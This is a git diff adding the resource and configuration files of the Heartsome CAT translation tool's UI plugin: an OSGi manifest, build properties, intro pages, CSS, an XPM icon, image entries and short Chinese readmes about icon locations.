--git a/ts/net.heartsome.cat.ts.ui/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui/META-INF/MANIFEST.MF new file mode 100644 index 0000000..ac6eca4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/META-INF/MANIFEST.MF @@ -0,0 +1,57 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI +Bundle-SymbolicName: net.heartsome.cat.ts.ui;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130502 +Bundle-Activator: net.heartsome.cat.ts.ui.Activator +Require-Bundle: org.eclipse.core.databinding, + org.eclipse.core.databinding.beans, + org.eclipse.core.resources;bundle-version="3.5.0", + org.eclipse.core.runtime, + org.eclipse.jface.databinding, + org.eclipse.jface.text;bundle-version="3.5.0", + org.eclipse.ui, + org.eclipse.ui.ide;bundle-version="3.5.0", + org.eclipse.nebula.widgets.grid;bundle-version="1.0.0", + org.eclipse.nebula.widgets.tablecombo;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.common.ui;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + de.jaret.util.ui.table;bundle-version="0.85.0", + net.heartsome.cat.ts.help;bundle-version="1.0.0", + org.eclipse.core.databinding.property;bundle-version="1.4.0", + org.eclipse.ui.net;bundle-version="1.2.100" +Bundle-ActivationPolicy: lazy +Export-Package: de.jaret.util.misc, + de.jaret.util.swt, + net.heartsome.cat.ts.ui, + net.heartsome.cat.ts.ui.bean, + net.heartsome.cat.ts.ui.composite, + net.heartsome.cat.ts.ui.dialog, + net.heartsome.cat.ts.ui.editors, + net.heartsome.cat.ts.ui.extensionpoint, + net.heartsome.cat.ts.ui.grid, + net.heartsome.cat.ts.ui.innertag, + net.heartsome.cat.ts.ui.innertag.tagstyle, + net.heartsome.cat.ts.ui.jaret.renderer, + net.heartsome.cat.ts.ui.preferencepage, + net.heartsome.cat.ts.ui.preferencepage.colors, + net.heartsome.cat.ts.ui.preferencepage.translation, + net.heartsome.cat.ts.ui.resource, + net.heartsome.cat.ts.ui.tagstyle, + net.heartsome.cat.ts.ui.util, + net.heartsome.cat.ts.ui.view +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.ts.tm.complexMatch, + net.heartsome.cat.ts.tm.simpleMatch, + net.sourceforge.nattable.util, + org.eclipse.core.expressions, + org.eclipse.jface.text +Bundle-ClassPath: lib/datechooser-1.01.jar, + lib/jarettable-0.85.jar, + lib/jaretutil-0.32.jar, + . +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui/build.properties b/ts/net.heartsome.cat.ts.ui/build.properties new file mode 100644 index 0000000..f45a2c9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/build.properties @@ -0,0 +1,16 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + icons/,\ + content/,\ + splash.bmp,\ + introContent.xml,\ + images/,\ + plugin_customization.ini,\ + lib/jaretutil-0.32.jar,\ + plugin_en.properties,\ + plugin_zh.properties,\ + plugin.properties + diff --git a/ts/net.heartsome.cat.ts.ui/content/concept1.xhtml b/ts/net.heartsome.cat.ts.ui/content/concept1.xhtml new file mode 100644 index 0000000..d5d1a06 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/content/concept1.xhtml @@ -0,0 +1,15 @@ + + + + + Concept1.xhtml + + + + +

    Welcome to net.heartsome.cat.ts.ui

    +

    Concept One

    +

    This is where Concept One is explained.

    + + diff --git a/ts/net.heartsome.cat.ts.ui/content/concept2.xhtml b/ts/net.heartsome.cat.ts.ui/content/concept2.xhtml new file mode 100644 index 0000000..f57feb6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/content/concept2.xhtml @@ -0,0 +1,15 @@ + + + + + Concept2.xhtml + + + + +

    Welcome to net.heartsome.cat.ts.ui

    +

    Concept Two

    +

    This is where Concept Two is explained.

    + + diff --git a/ts/net.heartsome.cat.ts.ui/content/link_obj.gif b/ts/net.heartsome.cat.ts.ui/content/link_obj.gif new file mode 100644 index 0000000..a4b0788 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/content/link_obj.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/content/root.css b/ts/net.heartsome.cat.ts.ui/content/root.css new file mode 100644 index 0000000..7cf89fc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/content/root.css @@ -0,0 +1,28 @@ +img { + width: 48px; + height: 48px; + vertical-align: middle; + } + +/* Give some space for main div.*/ +.page-style { + text-align: center; + margin-top:100px; + } + +/* satisfy Mozilla */ +body > div.page-style { + padding-left:30%; + } + + +#content { + text-align:left; + width:23em; + } + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui/content/root.xhtml b/ts/net.heartsome.cat.ts.ui/content/root.xhtml new file mode 100644 index 0000000..77648e3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/content/root.xhtml @@ -0,0 +1,28 @@ + + + + + root.xhtml + + + + + +

    Welcome to net.heartsome.cat.ts.ui

    + + + diff --git a/ts/net.heartsome.cat.ts.ui/content/shared.css b/ts/net.heartsome.cat.ts.ui/content/shared.css new file mode 100644 index 0000000..8a05736 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/content/shared.css @@ -0,0 +1,45 @@ +/* Shared style applied to all pages */ +/* trick to get desired scroll bar behavior on all browsers */ +html { + overflow:auto; + border:0px; + height:100%; + } + + +body { + margin-left:14px; + margin-top:10px; + font-family:Tahoma; + font-size: 12px; + color:#000000; + background-image:url("./titlebanner.gif"); + background-repeat: repeat-x; + } + +h1 { + text-align:left; + font-size: 16pt; + font-weight:normal; + color:#E5E5E5; + } + +h4 { + color:#787878; + } + +a { + display:block; + font-family:Tahoma; + font-size: 12px; + color:#000000; + font-weight:normal; + text-decoration:none; + padding-bottom:20px; + } + +p { + padding-left:14px; + } + + diff --git a/ts/net.heartsome.cat.ts.ui/content/titlebanner.gif b/ts/net.heartsome.cat.ts.ui/content/titlebanner.gif new file mode 100644 index 0000000..6737f76 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/content/titlebanner.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/X.png b/ts/net.heartsome.cat.ts.ui/icons/X.png new file mode 100644 index 0000000..3d63b3f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/X.png differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/alt_about.gif b/ts/net.heartsome.cat.ts.ui/icons/alt_about.gif new file mode 100644 index 0000000..20d9ad2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/alt_about.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.icns b/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.icns new file mode 100644 index 0000000..b77a6a6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.icns differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.ico b/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.ico new file mode 100644 index 0000000..d548f71 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.ico differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.xpm b/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.xpm new file mode 100644 index 0000000..b0c139e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/icons/alt_launcher.xpm @@ -0,0 +1,307 @@ +/* XPM */ +static char * icon48_xpm[] = { +"48 48 256 2", +" c #4B4B3B3B9090", +". c #0D0D0E0E5454", +"X c #11110E0E5B5B", +"o c #17170F0F6363", +"O c #1D1D13136969", +"+ c #212114146C6C", +"@ c #252514147171", +"# c #282811116C6C", +"$ c #26260D0D6363", +"% c #22220B0B5E5E", +"& c #1C1C0B0B5A5A", +"* c #1C1C0B0B5252", +"= c #1B1B05055353", +"- c #161606064D4D", +"; c #161605054949", +": c #111104044848", +"> c #131304044545", +", c #131305054242", +"< c #141410105E5E", +"1 c #2C2C15157373", +"2 c #2B2B1B1B7575", +"3 c #343416167272", +"4 c #313113136E6E", +"5 c #222209095757", +"6 c #1B1B06064D4D", +"7 c #15150B0B4242", +"8 c #13130C0C5555", +"9 c #2E2E1B1B7878", +"0 c #33331F1F7C7C", +"q c #343418187878", +"w c #3B3B1C1C7575", +"e c #2E2E10106767", +"r c #1B1B07074747", +"t c #18180B0B4646", +"y c #151513136262", +"u c #1A1A15156464", +"i c #34341F1F7777", +"p c #40401E1E8080", +"a c #42421B1B7A7A", +"s c #3B3B15157474", +"d c #2B2B0B0B5B5B", +"f c #222207075252", +"g c #373727277A7A", +"h c #474724248484", +"j c #393915156E6E", +"k c #373711116A6A", +"l c #343413136363", +"z c #232319196E6E", +"x c #292919197070", +"c c #3C3C2C2C8282", +"v c #444431318585", +"b c #494934348A8A", +"n c #505026268A8A", +"m c #3D3D1B1B6E6E", +"M c #31310E0E5C5C", +"N c #2B2B0D0D5353", +"B c #222207074A4A", +"V c #52523C3C9292", +"C c #58583C3C9494", +"Z c #5D5D44449797", +"A c #5C5C2E2E9292", +"S c #676733339595", +"D c #424228287575", +"F c #29290A0A4F4F", +"G c #6C6C4A4A9E9E", +"H c #72725454A7A7", +"J c #8C8C6D6DB2B2", +"K c #343424246E6E", +"L c #3A3A23236A6A", +"P c #3A3A1C1C6767", +"I c #24240A0A4B4B", +"U c #151518186161", +"Y c #76766F6FA5A5", +"T c #ADAD9191CCCC", +"R c #98988989D3D3", +"E c #45453B3B8686", +"W c #3C3C35357979", +"Q c #363631317575", +"! c #32322D2D6B6B", +"~ c #323229296363", +"^ c #30301F1F6262", +"/ c #323218185E5E", +"( c #272707074B4B", +") c #202028286C6C", +"_ c #1E1E1D1D6868", +"` c #9A9A8282BBBB", +"' c #C8C8B3B3D3D3", +"] c #B3B3AFAFE7E7", +"[ c #84847272C6C6", +"{ c #58585757A3A3", +"} c #3F3F3C3C8A8A", +"| c #3B3B3A3A8484", +" . c #414139397D7D", +".. c #3D3D39397A7A", +"X. c #37372E2E6E6E", +"o. c #2C2C21215A5A", +"O. c #2E2E1B1B5B5B", +"+. c #F5F5EFEFF5F5", +"@. c #656566669A9A", +"#. c #47474B4B8E8E", +"$. c #3C3C44447B7B", +"%. c #444442428080", +"&. c #45453E3E8181", +"*. c #40403C3C8181", +"=. c #3D3D33337474", +"-. c #3B3B30306E6E", +";. c #38382D2D6969", +":. c #303026265D5D", +">. c #2C2C15155A5A", +",. c #1F1F1C1C7070", +"<. c #25251E1E7171", +"1. c #59595C5C9191", +"2. c #4D4D53538989", +"3. c #4C4C49498484", +"4. c #484845458585", +"5. c #494941418585", +"6. c #494940408181", +"7. c #2F2F1C1C5353", +"8. c #2B2B28287676", +"9. c #323231317F7F", +"0. c #545452528B8B", +"q. c #51514E4E8989", +"w. c #4E4E4B4B8C8C", +"e. c #4C4C47478686", +"r. c #46463D3D7E7E", +"t. c #434336367A7A", +"y. c #2B2B13135555", +"u. c #47473D3D8D8D", +"i. c #575757578E8E", +"p. c #48483E3E7F7F", +"a. c #46463A3A7D7D", +"s. c #424235357575", +"d. c #404034347171", +"f. c #BFBFCBCBFAFA", +"g. c #B8B8A8A8DDDD", +"h. c #5E5E60609292", +"j. c #565655558C8C", +"k. c #4B4B44448282", +"l. c #454539397B7B", +"z. c #434338387878", +"x. c #3F3F32326D6D", +"c. c #3D3D30306969", +"v. c #3A3A2E2E6363", +"b. c #36362A2A5C5C", +"n. c #343424245555", +"m. c #30301E1E4D4D", +"M. c #49493C3C8282", +"N. c #5E5E4F4F8C8C", +"B. c #56563B3B8B8B", +"V. c #545407078585", +"C. c #424234347272", +"Z. c #9797A4A4F7F7", +"A. c #444436367676", +"S. c #7D7D7979D5D5", +"D. c #464640408A8A", +"F. c #44444B4B8282", +"G. c #414107077777", +"H. c #71716161C1C1", +"J. c #303039397979", +"K. c #8E8E8E8EE6E6", +"L. c #404033338B8B", +"P. c #4A4A45458C8C", +"I. c #46463A3A8080", +"U. c #363629295454", +"Y. c #303022224848", +"T. c #424237377575", +"R. c #2E2E1D1D6363", +"E. c #79798383EAEA", +"W. c #74747B7BE4E4", +"Q. c #6D6D7676D6D6", +"!. c #6A6A7171CECE", +"~. c #66666969C6C6", +"^. c #62626565BCBC", +"/. c #5F5F6060B5B5", +"(. c #5B5B5B5BACAC", +"). c #535353539898", +"_. c #4F4F4F4FA4A4", +"`. c #54544D4DA4A4", +"'. c #323204046B6B", +"]. c #303035357979", +"[. c #313122224343", +"{. c #5A5A5B5BB7B7", +"}. c #484846468080", +"|. c #454541417575", +" X c #4B4B31318282", +".X c #47473C3C8484", +"XX c #3E3E35356E6E", +"oX c #2F2F26264040", +"OX c #2B2B23233A3A", +"+X c #262619195C5C", +"@X c #252515155A5A", +"#X c #55555151B3B3", +"$X c #3C3C2D2D5D5D", +"%X c #39392F2F5656", +"&X c #37372D2D5050", +"*X c #25251F1F3030", +"=X c #24241D1D4343", +"-X c #202013135656", +";X c #41413B3B6C6C", +":X c #444442429696", +">X c #212100005E5E", +",X c #444436367272", +" > , , , ", +" . . X X < < o o O O + @ 1 2 2 1 1 1 1 1 1 1 1 3 4 # # $ $ $ % % % 5 = = 6 6 - ; ; > > , , 7 ", +" . 8 < < < o O O + @ @ 2 9 9 0 0 q q q q q q q w 3 4 4 e e $ $ $ $ % 5 = = 6 6 6 ; ; > > r t ", +" . X < y u O O + @ 1 2 i 0 0 p p p p p p p a a p a s 3 4 4 e e e e d 5 5 f f 6 6 6 ; ; r r t ", +" X < y u O + + @ 2 9 0 g p p h h h h h h h p h h a a s s j k k j l d d 5 5 f f 6 6 r r r r r ", +" X < y O z x x 9 0 g c v b n n n n n n n n n n n h a a s s j j m l M d d N f f B B B B r r r ", +" < y u + z 2 0 c c b V C Z C C A A A A A S S S n h D w w m m m m k l M d d N f F F F B r r r ", +" < y O z z 9 c b V Z G H H H G S G G J J H V v c g g K K K K L P l l l M M N N N N I B B r r ", +" U u + z x i v C H Y J J J J H J T R H V E W W Q Q Q Q ! ! ! ~ ^ ^ / / M M M M M N ( B B r r ", +" ) _ z x 9 g b Z Y ` ' ' ' T T ] [ { } | .........W W Q Q X.! ~ ~ o.O./ / / / N F ( B B B r ", +" ) ) z x i c V G J ' +.+.+.+.] [ @.#.$.%.%.%.&.*. . .....W =.-.X.;.~ :.o.O.^ >.N F ( B B B B ", +" ) ,.<.2 g v C H J ' +.+.+.+.T Y 1.2.3.4.4.4.5.6.&.&. . ...W =.=.-.;.~ :.o.7.>.N F F ( B I I ", +" ) ,.<.8.9.b C H J T +.+.+.' J @.1.0.q.q.w.e.4.5.6.&.r. . .t.W =.=.-.;.~ :.o.7.y.N F ( ( I I ", +" 8.8.8.9.| u.C G J T +.+.' ` Y @.1.i.0.q.q.e.e.5.6.p.r.a. .t.t.s.d.d.-.;.~ :.7.7.y.F F ( I I ", +" 9.c c c v b A S H ' f.g.` Y @.h.1.i.j.0.q.q.e.k.6.p.r.a.l.t.z.s.s.d.x.c.v.b.n.m.7.N F F F I ", +" <.g M.N.B.B.n V.J f.R J @.h.h.1.i.i.j.j.0.q.3.k.6.p.r.a.l.l.z.s.C.d.x.x.c.v.b.n.m.y.N F F F ", +" + x i v B.Z Z G g.Z.[ @.2.i.i.j.j.j.j.j.0.q.3.k.6.p.p.a.l.l.A.s.C.C.d.x.c.v.b.n.m.7.y.N N y. ", +" O # 3 w p n Z ` f.S.H D.F.q.0.0.0.0.j.0.q.q.3.k.6.p.r.a.a.l.A.s.s.C.d.x.x.c.v.b.n.m.y.y.y.y. ", +" O # 4 s a G.V.T Z.H.V J.%.e.w.q.0.0.0.0.q.q.e.k.6.p.r.a.a.l.z.A.s.C.d.d.x.c.v.b.n.m.7.>.y.y. ", +" O # 4 s w G.A f.K.H L...4.P.w.w.w.q.q.q.q.e.e.5.6.M.I.I.a.a.l.z.A.s.d.d.x.c.v.v.U.Y.7.O.>.y. ", +" $ # 4 3 s G.G f.S.Z 9.*.D.P.P.w.w.w.w.w.e.e.5.5.M.M.I.I.a.a.l.z.T.s.d.d.x.x.c.v.U.Y.m.R.>.>. ", +" E.E.W.W.W.W.E.Z.E.W.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.!.!.!.!.!.~.~.~.~.~.~.^.^.^.^.^./././.(.{ { )._.`._. ", +" + # 3 w s '.` f.H.V ].*.D.P.P.P.P.P.P.P.5.5.5.M.M.M.I.I.a.l.z.z.T.T.s.d.d.x.c.v.U.Y.[.^ O.>. ", +" ~.~.~.~.~.~.K.Z.S.~.{.^.^.^.^.^.^.^.^././././././.(.(.(.(.(.(.{ { { { { ).).).w.w.}.|.P.u.} ", +" .I.6. X X XT f.H.b ].*.E D.D.D.D.5.5..X.XM.M.I.I.a.a.l.l.z.z.T.T.T.d.XXx.c.v.b.U.oXOXR.+X@X ", +" E.E.E.W.W.W.K.Z.E.W.Q.Q.Q.Q.Q.Q.Q.Q.!.!.!.!.!.!.~.~.~.~.~.~.^.^.^.^.^./././.(.{ { ).).#X_._. ", +" & % $ e '.= H f.H.b 8.W *.E E E .X.X.XI.I.I.I.a.a.l.l.z.z.T.T.T.C.XXXXc.v.$X%X&XY.*X=X2 @X-X ", +" {.{.{.{.{.#X~.Z.W.~.{.{./././././././././.(.(.(.(.(.(.(.{ { { { { { ).).).w.w.3.}.;X%.:X} } ", +" & & % $ e >XV.f.S.C K X.W t. . .l.l.t.t.t.t.A.A.A.,X,X,X,X,XX7X` Z.Z D ! =.=.s.t.t.t.A.A.s.A.,X,X,X,X > > t t t cX ", +" nXbXbXzXzXlXaXXXY +Xf = f = 7XtXR R mXn.Y.[.[.[.[.OX*X*X8X5X*X=X,.u vXvX; > > MXMX, 7 t t ", +" nXnXnXbXzXvX-.Y +XcX6 6 = = = d L B.G H `.X.:.7.m.=X=X=X=X=X6X,.u cXvXNX: BX> MXVXCXVX7 7 7 ", +" ZXZXnXbXAXgX@.+XvX; - - - - * @XR.>.sX>.R.i 0 x eXeXeXeXO hXaXcXvXNX: BXMXMXMXVXCXCXCXVX7 7 ", +" SXZXZXAXgXN.aXNX: : NXNXNX- * +X+X* 6 6 6 * * * * * * * vXvX- NX: DXBXMXMXFXCXCXCXCXGXVXVX7 ", +" SXSXHXgX0.JXKXLXKXKXDX: : NX* @X-X- - - - - - - - - - - NX: DXDXDXMXMXFXFXCXCXCXCXGXGXGXVXVX ", +" SXHXPX3.JXnXnXnXnXbXLXKXKXNXaX-XvX: : NX: : : : : : : BXDXDXLXMXMXFXFXCXCXCXCXGXGXGXGXGXGXGX ", +" IXUX$.AXZXZXZXZXnXnXnXLXLXNXJXvXBXDXBXBXBXBXDXDXDXDXLXDXLXLXFXFXFXFXCXCXCXCXGXGXGXGXGXGXGXGX ", +" "}; diff --git a/ts/net.heartsome.cat.ts.ui/icons/alt_window_16.gif b/ts/net.heartsome.cat.ts.ui/icons/alt_window_16.gif new file mode 100644 index 0000000..05626b1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/alt_window_16.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/alt_window_32.gif b/ts/net.heartsome.cat.ts.ui/icons/alt_window_32.gif new file mode 100644 index 0000000..b432f88 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/alt_window_32.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/check.png b/ts/net.heartsome.cat.ts.ui/icons/check.png new file mode 100644 index 0000000..37209ab Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/check.png differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/checked.gif b/ts/net.heartsome.cat.ts.ui/icons/checked.gif new file mode 100644 index 0000000..e556e7d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/checked.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/html.png b/ts/net.heartsome.cat.ts.ui/icons/html.png new file mode 100644 index 0000000..44db3de Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/html.png differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/match2.png b/ts/net.heartsome.cat.ts.ui/icons/match2.png new file mode 100644 index 0000000..458c42c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/match2.png differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/match3.png b/ts/net.heartsome.cat.ts.ui/icons/match3.png new file mode 100644 index 0000000..7c1f149 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/match3.png differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/sample.gif b/ts/net.heartsome.cat.ts.ui/icons/sample.gif new file mode 100644 index 0000000..34fb3c9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/sample.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/unchecked.gif b/ts/net.heartsome.cat.ts.ui/icons/unchecked.gif new file mode 100644 index 0000000..342fa9d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/unchecked.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/icons/xliff_16.jpg b/ts/net.heartsome.cat.ts.ui/icons/xliff_16.jpg new file mode 100644 index 0000000..d17628f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/icons/xliff_16.jpg differ diff --git a/ts/net.heartsome.cat.ts.ui/images/advanced/readme b/ts/net.heartsome.cat.ts.ui/images/advanced/readme new file mode 100644 index 0000000..a5edb80 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/images/advanced/readme @@ -0,0 +1 @@ +所有图片都在 net.heartsome.cat.ts.ui.advanced/icons 下 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui/images/database/database-manage.png b/ts/net.heartsome.cat.ts.ui/images/database/database-manage.png new file mode 100644 index 0000000..951c64d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/database-manage.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/db-manage/internaldb.png b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/internaldb.png new file mode 100644 index 0000000..7c1a1f6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/internaldb.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/db-manage/ip.png b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/ip.png new file mode 100644 index 0000000..42ae4a0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/ip.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/db-manage/mysql.png b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/mysql.png new file mode 100644 index 0000000..a7a8319 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/mysql.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/db-manage/oracle.png b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/oracle.png new file mode 100644 index 0000000..1797efe Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/oracle.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/db-manage/postgresql.png b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/postgresql.png new file mode 100644 index 0000000..4b72d2f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/postgresql.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/db-manage/sqlserver.png b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/sqlserver.png new file mode 100644 index 0000000..963a5ae Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/db-manage/sqlserver.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/export-tbx.png b/ts/net.heartsome.cat.ts.ui/images/database/export-tbx.png new file mode 100644 index 0000000..1b97ea0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/export-tbx.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/export-tmx.png b/ts/net.heartsome.cat.ts.ui/images/database/export-tmx.png new file mode 100644 index 0000000..5e0026c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/export-tmx.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/import-tbx.png b/ts/net.heartsome.cat.ts.ui/images/database/import-tbx.png new file mode 100644 index 0000000..43d6fb2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/import-tbx.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/database/import-tmx.png b/ts/net.heartsome.cat.ts.ui/images/database/import-tmx.png new file mode 100644 index 0000000..f1542e3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/database/import-tmx.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/edit/copy.png b/ts/net.heartsome.cat.ts.ui/images/edit/copy.png new file mode 100644 index 0000000..940c99e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/edit/copy.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/edit/cut.png b/ts/net.heartsome.cat.ts.ui/images/edit/cut.png new file mode 100644 index 0000000..d157966 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/edit/cut.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/edit/delete.png b/ts/net.heartsome.cat.ts.ui/images/edit/delete.png new file mode 100644 index 0000000..ea445dc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/edit/delete.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/edit/paste.png b/ts/net.heartsome.cat.ts.ui/images/edit/paste.png new file mode 100644 index 0000000..24de517 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/edit/paste.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/edit/readme b/ts/net.heartsome.cat.ts.ui/images/edit/readme new file mode 100644 index 0000000..9e1eb09 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/images/edit/readme @@ -0,0 +1 @@ +除去 undo.png, redo.png, cut.png, copy.png, paste.png, delete.png, search_replace.png 外,其他图片都放到了 net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit 下 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui/images/edit/redo.png b/ts/net.heartsome.cat.ts.ui/images/edit/redo.png new file mode 100644 index 0000000..2133ef5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/edit/redo.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/edit/search_replace.png b/ts/net.heartsome.cat.ts.ui/images/edit/search_replace.png new file mode 100644 index 0000000..1a8dac4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/edit/search_replace.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/edit/undo.png b/ts/net.heartsome.cat.ts.ui/images/edit/undo.png new file mode 100644 index 0000000..dbce811 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/edit/undo.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/file/logout.png b/ts/net.heartsome.cat.ts.ui/images/file/logout.png new file mode 100644 index 0000000..dc2a74c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/file/logout.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/file/new-database.png b/ts/net.heartsome.cat.ts.ui/images/file/new-database.png new file mode 100644 index 0000000..951c64d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/file/new-database.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/file/new_folder.png b/ts/net.heartsome.cat.ts.ui/images/file/new_folder.png new file mode 100644 index 0000000..8213901 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/file/new_folder.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/file/new_project.png b/ts/net.heartsome.cat.ts.ui/images/file/new_project.png new file mode 100644 index 0000000..c204fa3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/file/new_project.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/file/readme b/ts/net.heartsome.cat.ts.ui/images/file/readme new file mode 100644 index 0000000..dc1fd27 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/images/file/readme @@ -0,0 +1,7 @@ +rtf-export.png, rtf-import.png, rtf-convert.png 三个图片已放到 net.heartsome.cat.ts.ui.rtf æ’件的 icons 目录下 + +merge xliff.png, cut xliff.png, xliff-cut.png 三个图片已放到 net.heartsome.cat.ts.ui.xliffeditor.nattable æ’件的 images/file 目录下 + +convert file.png, convert-to xliff.png, convert-xliff to.png 三个图片已放到 net.heartsome.cat.converter.ui æ’件的 icons 目录下 + +net.heartsome.cat.ts/imags/file 下的相应图片是为了在首选项的快æ·é”®é¡µé¢æ˜¾ç¤ºå¯¹åº”图片 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui/images/file/save.png b/ts/net.heartsome.cat.ts.ui/images/file/save.png new file mode 100644 index 0000000..308579b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/file/save.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/file/saveall.gif b/ts/net.heartsome.cat.ts.ui/images/file/saveall.gif new file mode 100644 index 0000000..ef0eab5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/file/saveall.gif differ diff --git a/ts/net.heartsome.cat.ts.ui/images/help/about.png b/ts/net.heartsome.cat.ts.ui/images/help/about.png new file mode 100644 index 0000000..d02ca16 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/help/about.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/help/check-update.png 